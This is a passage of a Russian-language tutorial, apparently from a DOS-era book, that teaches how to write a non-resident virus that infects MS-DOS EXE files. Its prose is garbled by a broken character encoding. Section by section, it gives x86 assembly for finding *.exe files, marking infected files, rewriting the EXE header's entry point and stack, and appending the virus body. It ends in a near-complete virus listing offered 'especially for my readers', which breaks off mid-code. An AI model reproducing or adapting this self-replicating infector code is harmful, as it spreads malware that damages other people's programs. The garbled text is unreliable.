    ⮬  ᫮ " 樨 "  㯠  -
    䥪⨢ ࠡ ᭮  .
      ⥬,   । -
    ⮪ .  㦨 ⠪  ࠭
    ணࠬ,  DOCTOR WEB ! ᫥饩  㤥
    ᪠  ᯮᮡ  ࠧࠡ⪨ ᮢ,  ⨢
      ᪮   뢠-
     䥪⨢ .


                   2.27 ⠭ 

     ᫥ ࠡ  ⪮  
    室 ⥪    祭 COM - 䠩 . ᫥
    祣   COM - 䠩 .
    " ன "  ࠧ ⠫  -
    ,     ࠦ 䠩  ᬥ ⥪饣
    ⠫ .஡ ३  㣮   -
    ᫥  ⢨ﬨ  . ᫥,஢-
    , ࠦ      . -
    㪠  ⢨ 㦭 ஢ 祭 -
       ᪮ 묨 ணࠬ, ⠪  -
    ,   ⮢, 쬠 ࠧ, -
    祣     ⭮ .
    ஬ ⮣, 祭 ᮢ  " ன "  ࠦ-
      ணࠬ  ⫠稪   窨  室  -
    ࠬ  .
    ,, ⠫஢   設 -
    ᭮   ணࠬ DOCTOR WEB  ०-
     ᪠ १ ᮢ .  㡥,  
      㦨   .


                   2 . EXE - 


            1 .  
                       EXE - 


             1.1  ଠ EXE - 䠩  ᪥

     EXE - 䠩,  ࠭  ᪥,  ⮨ 
    ,⠡ ன  ᮡ⢥ ணࠬ-
       .  ᮤন ଠ-
      ன ᮢ  ⠭ 祭 -
    ஢ ,  ᯮ   -
    㧪 ணࠬ .᪮   -
     祭   祭   ᫥-
    饩 ,  ᬮਬ  㦥 ᥩ .
    ⠪, EXE - 䠩  ࠭   -
    ᪥  ᫥騩 ଠ :

     0,  1 : ঠ  4D5Ah,  " MZ "

     2,  3 : ঠ ⮪    ࠧ
                  㧮筮   512

     4,  5 : ঠ ࠧ 䠩  512-  -
                  ⮢ ࠭, 㣫  -
                   ஭

     6,  7 : ঠ ᫮ ⮢ ⠡ -
                  ன ᮢ

     8,  9 : ঠ ࠧ   ࠣ-
                  

     0A,0B : ঠ 쭮 ᫮  -
                  ⥫ ࠣ䮢, 㦭 -
                  㦥 ணࠬ

     0C,0D : ঠ ᨬ쭮 ᫮ -
                  ⥫ ࠣ䮢

     0E,0F : ঠ ᬥ饭  ࠣ  ᥣ-
                   ⥪  㧮筮 㫥;-
                    SS0

     10,11 : ঠ 祭 ॣ SP, -
                  ஥ ⠭ ।  ।祩
                  ࠢ ணࠬ ( SP0 )

     12,13 : ঠ ஫ 㬬  EXE-䠩-
                  

     14,15 : ঠ 祭 ॣ IP, -
                  ஥ ⠭ ।  ।祩
                  ࠢ ணࠬ ( IP0 )

     16,17 : ঠ ᬥ饭  ࠣ  ᥣ-
                      㧮筮 㫥,
                  CS0

     18,19 : ঠ ﭨ     -
                  砫 䠩  ࢮ   ⠡-
                   ன ᮢ

     1A,1B : ঠ "0", ᫨   -
                  ࠬ  १⭮,  -
                  筮    ᫮ - ᫨  
                    ૥

    ⨬,  ஫쭠 㬬 । 㬬-
    ஢  ᫮, ᮤঠ  䠩, 
    ९. ⮬  ࠪ᪨   -
    .


        1.2  㧪  믮 EXE - ணࠬ

    ⢨ MS DOS  ᪥ EXE - ணࠬ  ⫨-
      ⢨  ᪥ ணࠬ ⨯ COM,
         樮 ⥬ ᯮ-
         㭪 EXEC. ⢨ ⮩ -
    樨  ᪥ EXE - ணࠬ 룫 ⠪ :

    1. ᪠  ணࠬ  ⢮    ᢮-
        ⨢  .⭠
     砫쭮  ⮩  筮 뢠-
     砫 ᥣ⮬ ணࠬ.

    2.  㫥  ᬥ饭   ᥣ, ।塞
    砫 ᥣ⮬ ணࠬ,EXEC ந PSP -
    ࠬ. PSP -० 樮 -
    ⥬,   ࠧ,    COM - ணࠬ, -
     256  .

    3. ࠧ ᫥  PSP 㦠 ᠬ EXE - ண-
    ࠬ.祬   頥 ᪫⥫쭮 -
    㧮 ,    ⠡  ன
       .᫥ ⮣ 믮 ⠪
    뢠  ன ᮢ .    ⮨ 
    ᫥饬 :
       (ਬ,   -
    室  맮 楤, ᯮ   -
     ணࠬ ᥣ) ॡ 㪠   -
    쪮  ᬥ饭,    ᥣ  .騪
    ந EXE -  ⭮⥫쭮  ண " -
    砫쭮 " ,   MS DOS ணࠬ 
    㦠  ந   !⮬
     㧪 ணࠬ   ᥣ⭮ -
      ਡ 祭 砫쭮 ᥣ -
    ࠬ .    뢠 ன  -
    ᮢ .    ,  㤠 MS DOS
    ,  ᯮ ॡ騥 ன -
     . 祭 ⠪ ଠ樨 ⥬ ᯮ-
     ⠡  ன,  室  䠩
     ஬  ᬥ饭   砫 . ᬥ-
     ࠭     18h, 19h .

    4. EXEC  믮 ன ॣ஢ .
    稬 砫 ᥣ ணࠬ 㪢 NS0.
     ⠭ 祭 ॣ஢  -
    拉 ⠪ :
    DS = ES = NS0
    CS = NS0 + 10h + CS0
    IP = IP0
    SS = NS0 + 10h + SS0
    SP = SP0
    CS0, SS0, IP0  SP0  稪  -
     EXE - 䠩,  NS0 ⠭   -
     㧪 .

    5.  㦥 EXE - ணࠬ  ᯮ-
     .  ⮣ EXEC । ࠢ  -
     CS : IP .

    ⮨ ,  ࠧ EXE - 䠩  MS DOS 
    ࠭稢  ࠧ஬  ᥣ    
     祭 訬 ( ਬ୮ 65535*512 = 33553920
     !). ࠢ, ஥ 祭  EXE -
    ணࠬ ᯮ ૥ . -
     ணࠬ, 饩 ૥  ,
      㦠   楫. ⮣ 
     頥 ⮫쪮  १⭠ , -
       室 㦠   
    ૥ ࠣ .


         1.3    ࠧ EXE - 䠩

       ࠦ COM - ணࠬ,   ࠦ
    EXE - 䠩    뢠  -
    ,砫   । 䠩.   -
    ,   ।饬 砥,ॠ 
    , ஬ ⮣,।࠭   㤭-
    ⥩  ⫠ .⮬  ᮧ , ࠡ-
    騩   ⠪ ਭ樯 .
     ⮣,⮡   ࠦ ணࠬ 
     稫 ࠢ, ᫥ ᮮ⢥騬
    ࠧ ஢  EXE - 䠩 . 
    ⮣  室  祭  CS0  IP0  
     室    ,   祭 SS0  SP0
    " ४ "  ᮡ⢥ ⥪ .஬
    ⮣, ᪮  ࠦ   -
    㧮筮    䠩, 室  ᪮-
    ४஢    ᬥ饭 02h, 03h, 
    ⠪ 04h, 05h .   .
     ,  ᮧ ,ࠦ騩 EXE
    - 䠩,  ᫮, 祬 COM -  . 
      ⠪ .   ,    㡥 
    ⮬ !


         1.4    ࠦ ணࠬ

    ᬮਬ ⥯ ⢨   祭 
    ࠢ .
    ⠪,  㭪樮  ⠪  :

    1.   ᪥ 室騩 EXE - 䠩 .

    2. 뢠 ᢮ ⥫   ⮣ 䠩 .

    3. ४     ࠦ  ணࠬ
    ᫥騬 ࠧ :

       a.)  室 CS0  IP0  ࠦ  -
           ࠬ 뢠 祭,  ᯥ稢-
           騥 । ࠢ ᭮   
           ᪥ ணࠬ .

       .) 室  SS0  SP0   祭,
           ᯥ稢騥 ४祭   ᮡ⢥
           ⥪  .

       .) ४  ⮪    ࠧ
           㧮筮   512 .

       .) ᪮  ࠦ  䠩  㢥-
           稢, ४ ࠧ 䠩  -
           ࠭ (  ࠭ ࠢ 512  )  .

    ⢥, । ४஢  易 -
    ࠭ 室 ࠬ  -  -
    ॡ  । ࠢ ᭮  .
    ᫥ ४樨  뢠   .

    4. 믮 । ⢨, ।ᬮ७ -
    ஬ .

    5. । 祭 CS, IP, SS  SP,室
     ࠢ쭮 ࠡ ணࠬ, ன -
      .

    6. । ࠢ ࠦ  ணࠬ . 
    ⮣  ᯮ  ᫮  -
     室. 室  ᫥묨
    CS  IP .᫥ ⮣ 稭 筮 믮
    ணࠬ .


                    1.5 砫 ࠡ

      COM - , EXE -   ࠧࠡ뢠
     ଠ COM . 㡥०    㦭
    㤭⥩ .⮬ 襬 ⠭⭮ 砫 COM
    ணࠬ :

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

      , ४⨢ "assume cs:prg,ds:prg,es
    :prg,ss:prg" 砥 ᥣ ॣ ᥣ-
        PRG,  ४⨢ "org 100h"  १ࢨ-
       PSP ᭮ ணࠬ .


              1.6  砥 ࠢ

     ⫨稥  COM - , ᪠ ண-
     ᫥ ᪠  㤥     ᢮
        室  㭪  DOS
    襭 ணࠬ .   ⮩  稭   
    ,   ࠦ 䠩  ᯮ祭
      (. . 1.17 ।饩 ).
    ᫥,   ४⨢ " org 110h"    -
     ., ࠧ 室 "   " :

    vir:       mov ax,cs              ;AX = CS ...
               db 2dh                 ;SUB AX,00h
    sub_ds     dw 0                   ;
               mov ds,ax              ;
               mov ss,ax              ;

               mov ah,1ah             ;४稬 DTA
	       lea dx,new_dta         ; ᮮ⢥-
                                      ;騩 ᨢ 
               int 21h                ; 
                                      ; ...

     樨 ⭮⥫   祥 -
     । ⭮⥫쭮 DS,   㪠-
      砫 PSP .  ࠦ ணࠬ  
    । ࠢ    ॣ CS 㤥
    㪠뢠  ࠣ,  ண 稭  
    ,    砫 PSP,  ॣ DS   -
     ஥  砫 ᥣ ணࠬ !
    ⢥ ᯮᮡ     -
     砥  ⠭ DS = CS.  ⮬ ࠧ-
     PSP  10h ࠣ䮢 祭 DS ᫥ 㬥-
      ࠧ   稭 . ࠦ ⮣
      䠩  " sub_ds "   㤥 -
     祭 10h.᪮ ᪠ -
    ࠬ  COM - ଠ,    CS = DS = SS =
    = ES,     㪠뢠  砫 PSP . ⮬
    祭  DS ४஢   㦭,      
    " sub_ds " ᪠饩 ணࠬ 頥  .
       ४砥 DTA  ᨢ "new_dta",
    ᯮ      . ᪮
    砫 ᥣ  ணࠬ ⠭   
     ᪥, 㤥  ᮡ 㤠 ⠭-
      室 DTA.


                 1.7 饬 室騩 䠩

         ᪮ 䠩--
     .  ਫ,  㤥 ࠦ EXE
    - 䠩, , ⠪ 䠩  㦭  .  -
    ᪮ ࠣ,  ந   䠩
     ⥬   ७ 㦥  ᮧ, ⠥-
     ⮫쪮 ᯮ짮 ,    -
     :

               mov ax,old_ip          ;㥬 -
               mov my_ip,ax           ; ࠬ
               mov ax,old_cs          ; -
               mov my_cs,ax           ; ணࠬ-
               mov ax,to_16h          ;  祩 -
               mov my_16h,ax          ; " my_XX ",
               mov ax,old_ss          ;⠪  祩
               mov my_ss,ax           ;" old_XX ", 
               mov ax,old_sp          ; ࠭-
               mov my_sp,ax           ; ࠬ,
                                      ; ᯮ祭
                                      ; ࠦ
                                      ; 䠩

    find_first:mov ah,4eh             ; ࢮ
	       mov cx,00100110b       ;䠩 :
	       lea dx,maska           ;archive, system
	       int 21h                ;hidden ...
	       jnc r_3
	       jmp restore_dta

    find_next: mov ah,3eh             ;஥  -
               mov bx,descrypt        ;室騩 䠩
	       int 21h
	       jnc r_2
	       jmp restore_dta

    r_2:       mov ah,4fh             ; ᫥-
	       int 21h                ; ...
	       jnc r_3
	       jmp restore_dta

    r_3:       mov cx,12              ;⨬ -
	       lea si,fn              ; " fn "
    kill_name: mov byte ptr [si],0
	       inc si
	       loop kill_name

               xor si,si              ; ९襬
    copy_name: mov al,byte ptr new_dta[si + 01eh]
	       cmp al,0               ;㤠  -
	       je open_file           ; 䠩
	       mov byte ptr fn[si],al
	       inc si
	       jmp copy_name

    open_file: mov ax,3d02h           ;஥ 䠩
	       lea dx,fn              ; ⥭ 
	       int 21h                ; ...
	       jnc found_size
	       jmp r_2

    found_size:mov descrypt,ax        ;। ࠧ-
               mov cx,word ptr [new_dta + 01ch]
               mov dx,word ptr [new_dta + 01ah]
               sub dx,1               ; 䠩  -
               sbb cx,0               ;⥬  
                                      ;  ...
               call setpointer        ;⠭ 㪠-
                                      ;⥫  -
                                      ; ᨬ

    read_last: mov cx,1               ;⠥
               lea dx,last            ;᫥
               call read              ;ᨬ ...
	       jnc compar
               jmp close_file

    compar:    cmp last,'7'           ; "ᥬઠ" ?
	       jne mmm                ;
    to_next:   jmp find_next          ; !  㦥
                                      ;ࠦ,  
                                      ;᪠ 㣮

    , ⭮, 㦥 﫨,   ணࠬ-
      ⠢   ࠭ ࠧࠡ⠭  -
    ,   . ᨫ쭮 頥 ࠡ-
      ᮪頥 ६  ⠢ ணࠬ .뫮
     ࠭  ᯮ짮 ⮢묨 ࠣ⠬
      ८  㤭 !
      ⥬, ᯮ짮 ࠣ 諮 -
    ᪮쪮 ஢,⮡  ᬮ ࠢ쭮 -
       ணࠬ .ࢮ ᥭ -
     ⮨  㡫஢ 室 祭 -
     ணࠬ,  ன ⮢ . -
     ᪠, 祬  ॡ.-
    饥  맢 ⥬,  EXE - 䠩  
      64 .⮬  ⠭ 㪠-
    ⥫   ᫥  䠩 筮  
        ࠧ.ਬ, -
     䠩 ࠢ 10000h  .  ⮬  砥  DTA
     ⠭ ⠪ ᫠ :CX = 0001h  DX = 0000h
    (. ) .  饭  ᫥ -
      䠩   CX : DX ᫥  "1" .
    ᫨     DX,     稬
    ᫥饥 :CX = 0001h, DX = 0FFFFh,   -
     भ 祭 . ⮡ ⠪  ந-
    ,  㦭 ਬ   " ⠭  -
     ",   㤥 ⭨  CX 祭 䫠-
     ७ CF - "  "  "  " .
      ᫥ -   ।⢥  ⠭
    㪠⥫  㤥  뢠 楤 "set-
    pointer ", ⥪ ன ᫮  ᬠਢ-
        .


               1.8 ⠥  䠩

     EXE-   ࠢ  -
     ࠦ 䠩 . ⮩ 楫    -
    ஢  䠩,   . 1.4 .
     ᥣ 㤥    EXE-
    ணࠬ  ᪠, ᫥ 祣 ᤥ  室
        ⭮  . ⠪ 
    ।騩  ࠣ  ᭮ ணࠬ 㦥 襫
    室騩  EXE - 䠩,  ᠬ ६  
     :

    mmm:       xor cx,cx              ;⠭ 㪠-
               xor dx,dx              ;⥫  -
               call setpointer        ; 䠩 ...

               mov ah,3fh             ; ⠥ -
	       mov bx,descrypt        ; 
               mov cx,27              ; 
                                      ; ᨢ " hea-
                                      ;der " . 
               lea dx,header          ;ࠧ  27
	       int 21h                ;...
               jnc next_step          ;
               jmp restore_dta        ;訡 ⥭ !

      ࠣ  쭮    ᭥ 
    ॡ .


          1.9 ந 室 ᫥

       ⮨  ᫥饬 : ᯮ
    ᫠, 祭     ᯮ-
    ⥫ ,   ࠬ -
     EXE - ணࠬ., 室 -
     :

     祭 CS0, IP0, SS0  SP0

     ⮪   ࠧ 㧮筮  -
      512

     ࠧ 䠩  512 -  ⮢ ࠭,
    㣫   ஭

    ஬ ⮣,᫥  ⠪ 祭 㪠⥫,
    ஥  ᯥ稫   ᭮   -
     䠩 .  祭 㤥 室  -
     " setpointer ",  ।祭  -
    ⠭ 㪠⥫  䠩 .

    । 砫 ᫥    ""
    室 ࠬ , ⮡  뫮 -
    짮    ࠢ쭮 窨 室 
    ४祭 ⥪      ⥪
    ࠦ ணࠬ  ।  ࠢ :

                                      ; -
                                      ; 
                                      ; ६
                                      ;" old_XX " ...
    next_step: mov ax,word ptr header[14h]
               mov old_ip,ax
               mov ax,word ptr header[16h]
               mov old_cs,ax
               mov ax,word ptr header[0eh]
               mov old_ss,ax
               mov ax,word ptr header[10h]
               mov old_sp,ax

    ᫥ ⮣  㯨  ᫥. ᭠-
    砫 ᫥ ਢ ਭ    -
     .稬 :

    ⮪   ࠧ 㧮筮   
    512 - 室 :  ᫥  ᯮ
          ᫥  १ ४樨 (  -
          襬 - " ᫥ " ) : Header [02h]

     䠩  512 -  ⮢ ࠭ -
          室 : File_size
          ᫥ : Header [04h]

    饭  ࠣ ⥪ ᥣ   -
    筮 㫥 -
          室 : SS0
          ᫥ : Header [0eh]

    饭  ࠣ   ᥣ   -
    筮 㫥 -
          室 : S0
          ᫥ : Header [16h]

    祭 㪠⥫ ⥪ SP  ।  ࠢ-
     ணࠬ -
          室 : SP0
          ᫥ : Header [10h]

    祭 㪠⥫  IP  । ࠢ-
     ணࠬ -
          室 : IP0
          ᫥ : Header [14h]

       ࠣ -
          Head_size

        -
          Vir_len

      㪠⥫      
    䠩 -
          F_seek_high

      㪠⥫ -
          F_seek_low .

    CS0, IP0, SS0  SP0     ᯮ-
    ,  ࠭   뤥 祩 .

      ਢ ⠪  :

    Header [16h] = File_size * 32 - Head_size

    Header [04h] = (File_size * 512 + Vir_len) / 512 -
                   ⭮   + 0,᫨ ⮪
                                          ࠢ 
                                      + 1,᫨ ⮪
                                           ࠢ -
                                          

    Header [02h] = (File_size * 512 + Vir_len) / 512 -
                   ⮪  

    Header [14h] = 0
                    ⮬ ࢠ ᯮ塞  -
                     㤥 室  -
                    : CS : 0000h, CS = Header [16h].

    Header [0eh] = Header [16h], ⮡  뫮  -
                     ⥪ ,  -
                   ⢥ SP " ﭨ "   砫
                   ᭮     ᫥  ᫮
                   ⥪ .

    Header [10h] = ᬥ饭  New_stack + 96h, ᫥-
                     ᫠     ࠧ
                   ᭮ ⥪ .

    F_seek_high  = File_size * 512 ( High )

    F_seek_low   = File_size * 512 ( Low )

        ਢ 㫠   믮-
       ⠪ ணࠬ ப :

               mov ax,word ptr header[04h]
               mov cl,5
               shl ax,cl
               cmp ax,0f000h
               jna good_size
               jmp find_next
    good_size: mov bp,ax
               sub ax,word ptr header[08h]
               mov to_16h,ax          ; ᫮ -
                                      ;  Header
                                      ;[16h]
               mov ax,bp
               xor dx,dx
               call mover
               mov f_seek_low,ax
               mov f_seek_high,dx
               cmp dx,word ptr [new_dta + 01ch]
               jl to_next
               ja infect
               cmp ax,word ptr [new_dta + 01ah]
               jl to_next
    infect:    add ax,vir_len
               adc dx,0
               mov bx,512
               div bx
               cmp dx,0
               je round
               inc ax
    round:     mov to_04h,ax          ; ᫮ -
                                      ;  Header
                                      ;[04h]

               mov to_02h,dx
               mov word ptr header[02h],dx
               mov ax,to_04h
               mov word ptr header[04h],ax
               mov word ptr header[14h],0
               mov ax,to_16h
               mov word ptr header[16h],ax
               mov word ptr header[0eh],ax
     mov word ptr header[10h],offset ds:new_stack + 96
               mov sub_ds,10h

     ਢ ⥪ ப ᯮ  :

    ADC - ᫮  ७ᮬ .  ।
    㬬  ࠭  ਡ   -
    祭 䫠 ७ CF
    
    SBB - ⠭   .  । ࠧ-
      ࠭  ⠥    -
    祭 䫠 CF .
      ॡ  ⮣,  ⮡ 
    뫮  ९, 騥  ࠡ 
    䠩  64  .,   ࠧ-
    ⪥ COM - ᮢ   ਬ﫨  .
    楤 " mover " ⢮    .
    " ᥬ   IBM PC  ணࠬ஢" 
    ।祭  㬭  ᫮ CX : DX
     16 ⮤ ᤢ .
    ⥫  ᪠  ⮬,    ।-
    , ᮤন  䠩 ७ ૥ . ⮣
      ࠢ ࠧ 䠩  ࠣ,-
    祭    ᬥ饭 04h  ࠧ஬,
    ⠭  DTA. ਧ ⢨ -
    ७ ૥  ᫥騩 䠪 :
    , 祭  DTA  祭,  -
      ࠬࠬ  . ࠦ " -
     " 䠩  ਭ⮬   ,
          㦥  ⠪ 䠩 
    ஡   EXE - ணࠬ .  -
     ࠦ ૥ 䠩 ⫨砥  -
     ᫮       ᮡ
     ᬠਢ .⮨ ,    
      ४⭮ ࠡ  ⠪ 䠩,  
        .


              1.10 ࠦ EXE - ணࠬ

    ᫥ ⮣,  ᪮४஢  䠩,-
      ࠧ.,   ࠦ 
     १   ஢ -
    , ᫥ 祣  ᢮    䠩
    -  :

               xor dx,dx              ;⠭
               xor cx,cx              ;㪠⥫ 
               call setpointer        ;砫 䠩
               jc close_file          ;

               lea dx,header          ; 뢠
               mov cx,27              ; -
               call write             ;  
               jc close_file

               mov dx,f_seek_low      ;⠭
               mov cx,f_seek_high     ;㪠⥫ 
               call setpointer        ;।
                                      ;࠭  
                                      ;䠩
               jc close_file

               lea dx,vir             ; 뢠 
               mov cx,vir_len         ; 
               call write             ;

    close_file:xor ax,ax              ;஥ -
               mov ah,3eh             ; 䠩
               mov bx,descrypt        ;
               int 21h                ;

    ண ,   뢠    -
     ⮬ 䠩 .   ⮫쪮  
    ࠧ 䠩 ⥭ 512 .  ⠫ 
      頥  䠩  ᬥ饭,।-
    塞 ࠧ஬ 䠩  512 -  ⮢ ࠭-
     .筮, ᫮ ࠭ 㣫   
    ஭ . ਬ,   ࠧ 䠩  1025 
     㤥 ,    ⠢  
     ࠭,   ࠧ  4096  - ᥣ
    ᥬ !  ⥬ ᨫ쭮 頥  -
     ᭮ ணࠬ   ⫠ .


                 1.11 ⠭ DTA

    ⠪,  믮 ᢮ ࠡ -    -
     室騩 EXE - 䠩 . 室 -
     DTA         
    PSP ணࠬ,  ன  ⮢ . ᪮
    砫 ᥣ ணࠬ ⥭ (  ࠭
     ॣ ES,    짮 ),᫮-
       室 DTA . ࠢ ES : 80h .
    ⮬ :

    restore_dta:
               push ds                ;DS ->  ⥪
               mov ah,1ah             ;⠭
               mov dx,080h            ; DTA -
               mov bp,es              ; ணࠬ-
               mov ds,bp              ;  
               int 21h                ;㭪樨 DOS 1Ah
               pop ds                 ;DS <-  ⥪

     ⮬ ࠣ  DTA ⠭  -
     㭪樨 DOS 1Ah ( . 1). 
      饭  DS : DX,     ᤥ .
     " push ds " 뢠   ⥪  ᮤন
    ॣ DS, ⠪   ॣ ᯮ 
     , ⮬  祭 㤥 ᯮ-
    祭 .


             1.12 ⠭  室

      室  ।  ࠢ ࠦ
    ணࠬ ( 筮,   ⮫쪮  ࠦ,  
    ⮩,  ன ⮢  ) . ⮣ 㦭
    ⠭  室  室, ⠪ -
     ⥪   ᭮      ⥪,
    ।ᬮ७ ࠧࠡ稪 ணࠬ .
    ⮡ ந  室 ᫥, -
    㥬 ࠬ  ணࠬ,  ࠭-
     ࠭  祩 " my_XX " .
     । ࠢ     ॣ CS
    뫮  饭  ⠪  祭 : CS = NS0 + 10h +
    + Header [16h],   祭   ⭮ - 
    ᥩ 室  CS . 㣮 ஭, 
    窠 室 EXE - ணࠬ  ᥣ 
    CS = NS0 + 10h + my_cs .  ࠧ, 筮
    㧭, 祬 ࠢ 㬬 : NS0 + 10h,   ਡ
      " my_cs " .     
    ⠭  ॣ SS,  ⮫쪮   NS0 +
    + 10h 㦭 ਡ " my_ss " . ᥣ  -
    ⠭ ॣ DS, ᪮  㧪 EXE -
    䠩 ᮡ ᫮ : ES = DS = NS0. -
    樠樨 SP  IP      -
    ᫠,࠭騥  ६ " my_sp "  " my_ip ",
     ந  ⮬  -  ᫮  -
    ⮢ . ⮬  ᮮࠦ   :

               mov ax,my_ip
               mov old_ip,ax
               mov ax,my_cs
               mov old_cs,ax
               mov ax,my_16h
               mov to_16h,ax
               mov ax,my_sp
               mov sp,ax              ;樠㥬
                                      ;ॣ SP ...
               mov ax,cs              ;
               sub ax,to_16h          ;NS0 + 10h ...
               add my_ss,ax           ;᫨ SS ...
               mov ss,my_ss           ;
               add ax,old_cs          ;᫨ CS ...
               mov old_cs,ax          ;
               mov ax,es              ;樠㥬
               mov ds,ax              ;ॣ DS ...

               jmp $ + 2              ;ᨬ ।
                                      ;
               db 0eah                ; ३ 
    old_ip     dw 0                   ;ᯮ
    old_cs     dw 0                   ;ணࠬ ...

     室  ᯮ ணࠬ ᠭ 
     設 ,⮡  室  -
     뫮 ஢ .
       -  ,  ⭮,  ,    ᨬ
    " NS0 "  稫 砫 ᥣ ணࠬ.


               1.13   

    ਢ , 묨  㦥  ᮧ-
      EXE -  :

                                      ;⢥ DTA
                                      ;
               new_dta       db   128 dup (0)

                                      ;᪠  -
                                      ; 䠩 - -
                                      ;
               maska         db   '*.exe',0

                                      ;  -
                                      ; 
                                      ;
                                      ;䠩
               fn            db   12 dup (' '),0

                                      ;ᨢ  -
                                      ; 
               header        db   27 dup ( 0 )

               descrypt      dw   0   ;祩  -
                                      ;ਯ

               to_02h        dw   0   ; 祩 -
               to_04h        dw   0   ; 
               to_16h        dw   0   ;࠭ -
               my_ip         dw   0   ;஢ -
               my_cs         dw   0   ; ࠦ
               my_16h        dw   0   ;ணࠬ 
               my_ss         dw   0   ;⮩,  ன
               my_sp         dw   0   ;⮢
               old_ss        dw   0   ;
               old_sp        dw   0   ;
               f_seek_low    dw   0   ;  ६-
               f_seek_high   dw   0   ; 뢠-
                                      ; 祭
                                      ;㪠⥫

                                      ; ⥪
               new_stack     dw   50 dup ( 0 )

               last          db   0   ; 頥
                                      ;᫥ 
                                      ;ࠦ
                                      ;䠩

                             db   '7' ;᫥ 
                                      ;᭮ 


               1.14 ᯮ㥬 楤

    ⠫ ⮫쪮 ਢ ⥪ 楤, 묨
     ,   ࠡ   祭 . 
    룫 ⠪ :

    setpointer proc                   ;楤 -
	       mov ax,4200h           ;  㪠-
	       mov bx,descrypt        ;⥫   䠩
	       int 21h                ; 
               ret                    ; ...
    setpointer endp

    read       proc                   ;楤  -
               mov ah,3fh             ;  䠩...
	       mov bx,descrypt
	       int 21h
               ret
    read       endp

    write      proc                   ;楤 -
               mov ah,40h             ;  䠩 ...
               mov bx,descrypt
               int 21h
               ret
    write      endp

    mover      proc                   ;楤 㬭-
               mov cx,04h             ; 
    left:      shl dx,1               ;᫮ CX : DX
               shl ax,1               ; 16 ⮤
               adc dx,00h             ;ᤢ ...
               loop left              ;
               ret                    ;
    mover      endp

    ਢ 楤 祭    쭮 -
    䥪⨢ . 楤 " mover " ,   㦥  -
    ,    . "  ᥬ 
    IBM PC   ணࠬ஢ ", ⢥, ࠧ-
    襭  .


                  1.15  襭

    쪮   ࠧࠡ⠫  ணࠬ,  -
    ࠦ EXE - 䠩.᫥  - 襬 -
    ᪮쪮 ப,  ⠭    ᥬ-
     ணࠬ :

                                      ; ᭮
                                      ;  
	       vir_len       equ  $-vir

    prg ends
    end vir


      1.16  ⥪ १⭮ EXE - 

      襣    ᥣ    ⮩
     ਢ   ⥪ ᠭ   -
    ࠬ :

    ; ________________________________________________
    ;|                                                |
    ;| Non - TSR EXE virus                            |
    ;| Especially for my readers !                    |
    ;|________________________________________________|

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

    vir:       mov ax,cs              ;AX = CS ...
               db 2dh                 ;SUB AX,00h
    sub_ds     dw 0                   ;
               mov ds,ax              ;
               mov ss,ax              ;

               mov ah,1ah             ;४稬 DTA
	       lea dx,new_dta         ; ᮮ⢥-
                                      ;騩 ᨢ 
               int 21h                ; 
                                      ; ...

               mov ax,old_ip          ;㥬 -
               mov my_ip,ax           ; ࠬ
               mov ax,old_cs          ; -
               mov my_cs,ax           ; ணࠬ-
               mov ax,to_16h          ;  祩 -
               mov my_16h,ax          ; " my_XX ",
               mov ax,old_ss          ;⠪  祩
               mov my_ss,ax           ;" old_XX ", 
               mov ax,old_sp          ; ࠭-
               mov my_sp,ax           ; ࠬ,
                                      ; ᯮ祭
                                      ; ࠦ
                                      ; 䠩

    find_first:mov ah,4eh             ; ࢮ
	       mov cx,00100110b       ;䠩 :
	       lea dx,maska           ;archive, system
	       int 21h                ;hidden ...
	       jnc r_3
	       jmp restore_dta

    find_next: mov ah,3eh             ;஥  -
               mov bx,descrypt        ;室騩 䠩
	       int 21h
	       jnc r_2
	       jmp restore_dta

    r_2:       mov ah,4fh             ; ᫥-
	       int 21h                ; ...
	       jnc r_3
	       jmp restore_dta

    r_3:       mov cx,12              ;⨬ -
	       lea si,fn              ; " fn "
    kill_name: mov byte ptr [si],0
	       inc si
	       loop kill_name

               xor si,si              ; ९襬
    copy_name: mov al,byte ptr new_dta[si + 01eh]
	       cmp al,0               ;㤠  -
	       je open_file           ; 䠩
	       mov byte ptr fn[si],al
	       inc si
	       jmp copy_name

    open_file: mov ax,3d02h           ;஥ 䠩
	       lea dx,fn              ; ⥭ 
	       int 21h                ; ...
	       jnc found_size
	       jmp r_2

    found_size:mov descrypt,ax        ;। ࠧ-
               mov cx,word ptr [new_dta + 01ch]
               mov dx,word ptr [new_dta + 01ah]
               sub dx,1               ; 䠩  -
               sbb cx,0               ;⥬  
                                      ;  ...
               call setpointer        ;⠭ 㪠-
                                      ;⥫  -
                                      ; ᨬ

    read_last: mov cx,1               ;⠥
               lea dx,last            ;᫥
               call read              ;ᨬ ...
	       jnc compar
               jmp close_file

    compar:    cmp last,'7'           ; "ᥬઠ" ?
	       jne mmm                ;
    to_next:   jmp find_next          ; !  㦥
                                      ;ࠦ,  
                                      ;᪠ 㣮

    mmm:       xor cx,cx              ;⠭ 㪠-
               xor dx,dx              ;⥫  -
               call setpointer        ; 䠩 ...

               mov ah,3fh             ; ⠥ -
	       mov bx,descrypt        ; 
               mov cx,27              ; 
                                      ; ᨢ " hea-
                                      ;der " . 
               lea dx,header          ;ࠧ  27
	       int 21h                ;...
               jnc next_step          ;
               jmp restore_dta        ;訡 ⥭ !

    next_step: mov ax,word ptr header[14h]
               mov old_ip,ax
               mov ax,word ptr header[16h]
               mov old_cs,ax
               mov ax,word ptr header[0eh]
               mov old_ss,ax
               mov ax,word ptr header[10h]
               mov old_sp,ax

               mov ax,word ptr header[04h]
               mov cl,5
               shl ax,cl
               cmp ax,0f000h
               jna good_size
               jmp find_next
    good_size: mov bp,ax
               sub ax,word ptr header[08h]
               mov to_16h,ax          ; ᫮ -
                                      ;  Header
                                      ;[16h]
               mov ax,bp
               xor dx,dx
               call mover
               mov f_seek_low,ax
               mov f_seek_high,dx
               cmp dx,word ptr [new_dta + 01ch]
               jl to_next
               ja infect
               cmp ax,word ptr [new_dta + 01ah]
               jl to_next
    infect:    add ax,vir_len
               adc dx,0
               mov bx,512
               div bx
               cmp dx,0
               je round
               inc ax
    round:     mov to_04h,ax          ; ᫮ -
                                      ;  Header
                                      ;[04h]

               mov to_02h,dx
               mov word ptr header[02h],dx
               mov ax,to_04h
               mov word ptr header[04h],ax
               mov word ptr header[14h],0
               mov ax,to_16h
               mov word ptr header[16h],ax
               mov word ptr header[0eh],ax
     mov word ptr header[10h],offset ds:new_stack + 96
               mov sub_ds,10h

               xor dx,dx              ;⠭
               xor cx,cx              ;㪠⥫ 
               call setpointer        ;砫 䠩
               jc close_file          ;

